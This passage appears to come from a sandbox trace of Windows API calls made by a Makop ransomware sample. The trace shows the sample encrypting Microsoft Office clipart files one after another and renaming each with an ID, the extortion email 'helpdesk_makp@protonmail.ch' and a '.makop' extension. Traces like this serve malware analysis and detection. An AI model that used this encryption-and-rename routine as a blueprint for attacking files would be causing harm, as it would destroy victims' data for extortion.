hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0107.696] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0107.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.696] GetProcessHeap () returned 0x48a0000 [0107.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.697] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.702] GetProcessHeap () returned 0x48a0000 [0107.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.702] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.703] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.704] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x687c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x687c, lpOverlapped=0x0) returned 1 [0107.706] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6880, dwBufLen=0x6880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6880) returned 1 [0107.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.706] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6880, lpOverlapped=0x0) returned 1 [0107.707] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.707] SetEndOfFile (hFile=0xf0) returned 1 [0107.714] GetProcessHeap () returned 0x48a0000 [0107.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.714] GetProcessHeap () returned 0x48a0000 [0107.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.714] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.716] CloseHandle (hObject=0xf0) returned 1 [0107.716] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0107.717] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0107.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.717] GetProcessHeap () returned 0x48a0000 [0107.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.717] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.724] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.724] GetProcessHeap () returned 0x48a0000 [0107.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.724] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.725] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.726] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.726] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x133c, lpOverlapped=0x0) returned 1 [0107.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1340, dwBufLen=0x1340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1340) returned 1 [0107.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1340, lpOverlapped=0x0) returned 1 [0107.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.728] SetEndOfFile (hFile=0xf0) returned 1 [0107.735] GetProcessHeap () returned 0x48a0000 [0107.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.735] GetProcessHeap () returned 0x48a0000 [0107.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.735] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.736] CloseHandle (hObject=0xf0) returned 1 [0107.737] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0107.737] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0107.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.742] GetProcessHeap () returned 0x48a0000 [0107.742] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.742] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.742] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0107.747] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.747] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.747] GetProcessHeap () returned 0x48a0000 [0107.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.748] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.749] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfe2, lpOverlapped=0x0) returned 1 [0107.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0, dwBufLen=0xff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0) returned 1 [0107.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xff0, lpOverlapped=0x0) returned 1 [0107.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.750] SetEndOfFile (hFile=0xf0) returned 1 [0107.758] GetProcessHeap () returned 0x48a0000 [0107.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.758] GetProcessHeap () returned 0x48a0000 [0107.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.758] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.759] CloseHandle (hObject=0xf0) returned 1 [0107.760] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0107.760] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0107.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.760] GetProcessHeap () returned 0x48a0000 [0107.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.760] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.761] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.761] GetProcessHeap () returned 0x48a0000 [0107.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.761] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.766] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.766] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.766] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.767] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.767] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5f00, lpOverlapped=0x0) returned 1 [0107.768] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f00, dwBufLen=0x5f00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f00) returned 1 [0107.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5f00, lpOverlapped=0x0) returned 1 [0107.769] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.769] SetEndOfFile (hFile=0xf0) returned 1 [0107.777] GetProcessHeap () returned 0x48a0000 [0107.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.777] GetProcessHeap () returned 0x48a0000 [0107.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.777] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 